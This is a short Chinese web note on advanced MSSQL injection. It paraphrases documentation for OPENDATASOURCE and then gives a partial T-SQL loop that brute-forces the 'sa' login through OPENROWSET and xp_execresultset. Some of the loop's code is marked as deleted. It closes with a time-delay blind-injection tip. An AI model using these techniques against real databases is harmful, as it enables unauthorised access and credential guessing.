Mssql高级注入笔记II(4)


OPENDATASOURCE 函数可以在能够使用链接服务器名的相同 Transact-SQL 语法位置中使用。因此,就可以将 OPENDATASOURCE 用作四部分名称的第一部分,该名称指的是 SELECT、INSERT、UPDATE 或 DELETE 语句中的表或视图的名称;或者指的是 EXECUTE 语句中的远程存储过程。当执行远程存储过程时,OPENDATASOURCE 应该指的是另一个 SQL Server。OPENDATASOURCE 不接受参数变量。 
与 OPENROWSET 函数类似,OPENDATASOURCE 应该只引用那些不经常访问的 OLE DB 数据源。对于访问次数稍多的任何数据源,请为它们定义链接的服务器。无论 OPENDATASOURCE 还是 OPENROWSET 都不能提供链接的服务器定义的全部功能,例如,安全管理以及查询目录信息的能力。每次调用 OPENDATASOURCE 时,都必须提供所有的连接信息(包括密码)。 
示例 
下面的示例访问来自某个表的数据,该表在 SQL Server 的另一个实例中。 
SELECT * 
FROM OPENDATASOURCE( 
'SQLOLEDB', 
'Data Source=ServerName;User ID=MyUID;Password=MyPass' 
).Northwind.dbo.Categories 

下面是个查询的示例,它通过用于 Jet 的 OLE DB 提供程序查询 Excel 电子表格。 
SELECT * 
FROM OpenDataSource( 'Microsoft.Jet.OLEDB.4.0', 
'Data Source="c:\Finance\account.xls";User ID=Admin;Password=;Extended properties=Excel 5.0')...xactions 

针对MSDASQL 用存储过程建立的sql连接,在blackbox测试中,好象没什么注入区别 
declare @username nvarchar(4000), @query nvarchar(4000) 
declare @pwd nvarchar(4000), @char_set nvarchar(4000) 
declare @pwd_len int, @i int, @c char 
select @char_set = N'abcdefghijklmnopqrstuvwxyz0123456789!_' 
select @pwd_len = 8 
select @username = 'sa' 
while @i < @pwd_len begin 
-- make pwd 
(code deleted) 
-- try a login 
select @query = N'select * from 
OPENROWSET(''MSDASQL'',''DRIVER={SQL Server};SERVER=;uid=' + @username + 
N';pwd=' + @pwd + N''',''select @@version'')' 
exec xp_execresultset @query, N'master' 
--check for success 
(code deleted) 
-- increment the password 
(code deleted) 
end 

盲注技巧之一,时间延缓(可以加一个循环函数,运行查询时间越久说说明当前字段正确) 

内容版权声明:除非注明,否则皆为本站原创文章。

转载注明出处:http://www.heiqu.com/3610.html